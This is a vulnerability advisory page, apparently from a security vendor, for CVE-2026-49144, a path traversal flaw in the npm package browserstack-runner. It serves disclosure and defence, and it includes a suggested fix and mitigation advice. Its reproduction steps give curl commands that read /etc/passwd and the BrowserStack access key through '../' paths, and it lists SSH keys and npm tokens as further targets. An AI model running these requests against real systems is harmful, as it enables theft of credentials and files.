CVE-2026-49144 — browserstack-runner
CVE-2026-49144 is a security vulnerability in browserstack-runner. No vendor fix is recorded yet; mitigation options are listed below.
BrowserStack Runner 0.9.5 Path Traversal via _default HTTP Handler
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-49144.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Real-World Exposure
browserstack-runnerReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects npm packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The HTTP server in browserstack-runner serves files from the project directory via the _default handler. This handler uses path.join(process.cwd(), uri) to resolve file paths but does not validate that the resulting path stays within the project root. Combined with the server binding on 0.0.0.0 (all interfaces) and the absence of any authentication, this allows an unauthenticated network-adjacent attacker to read arbitrary files from the host filesystem.
Root Cause
lib/server.js, lines 530–534 : _default handler:
'_default': function defaultHandler(uri, body, request, response) {
var filePath = path.join(process.cwd(), uri);
handleFile(filePath, request, response);
}
uri comes from url.parse(request.url).pathname (line 540), which preserves ../ sequences. path.join resolves them, producing absolute paths outside the project directory. No boundary check is performed before serving the file.
bin/cli.js, line 131 : server binding:
server.listen(parseInt(config.test_server_port, 10));
No hostname is specified, so Node.js binds on 0.0.0.0 (all interfaces).
No authentication: The _default handler does not call getWorkerUuid() or perform any authentication check.
Steps to Reproduce
Step 1 : Start the server (Terminal 1)
cd browserstack-runner
echo '<html><body>test</body></html>' > _poc_test.html
echo '{"username":"X","key":"X","test_path":"_poc_test.html","test_framework":"qunit","browsers":[]}' > browserstack.json
node bin/runner.js
Step 2 : Read arbitrary files (Terminal 2)
Read /etc/hostname:
curl -s --path-as-is "http://127.0.0.1:8888/../../../etc/hostname"
Read /etc/passwd:
curl -s --path-as-is "http://127.0.0.1:8888/../../../etc/passwd"
Read the BrowserStack access key from config:
curl -s "http://127.0.0.1:8888/browserstack.json"
Note:
--path-as-isis required because curl normalizes../sequences by default. Browsers and HTTP libraries that do not normalize URL paths (or that allow raw path construction) can exploit this without special flags.
Expected Result
/etc/hostname→ server returns the machine hostname/etc/passwd→ server returns the full passwd filebrowserstack.json→ server returns the config including the BrowserStack access key
Impact
- BrowserStack access key theft :
browserstack.jsonis always in the project root (same directory the server serves from), and containsusernameandkeyin cleartext - Source code theft : all project files are readable
- System file disclosure :
/etc/passwd,/etc/shadow(if readable), SSH keys,.envfiles,.npmrc(npm tokens), etc. - Chainable with Finding #1 : same server, same exposure window, same network-adjacent attacker
Suggested Fix
- Validate the resolved path stays within the project root:
var filePath = path.resolve(process.cwd(), '.' + uri);
if (!filePath.startsWith(process.cwd() + path.sep)) {
sendError(response, 'Forbidden', 403);
return;
}
- Bind on
127.0.0.1 - Add authentication to the
_defaulthandler
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | browserstack-runner | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for browserstack-runner, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Remediation status
No patched version of browserstack-runner has shipped for CVE-2026-49144 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-49144 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-49144. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-49144 in your dependencies?
O3 Security finds CVE-2026-49144 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.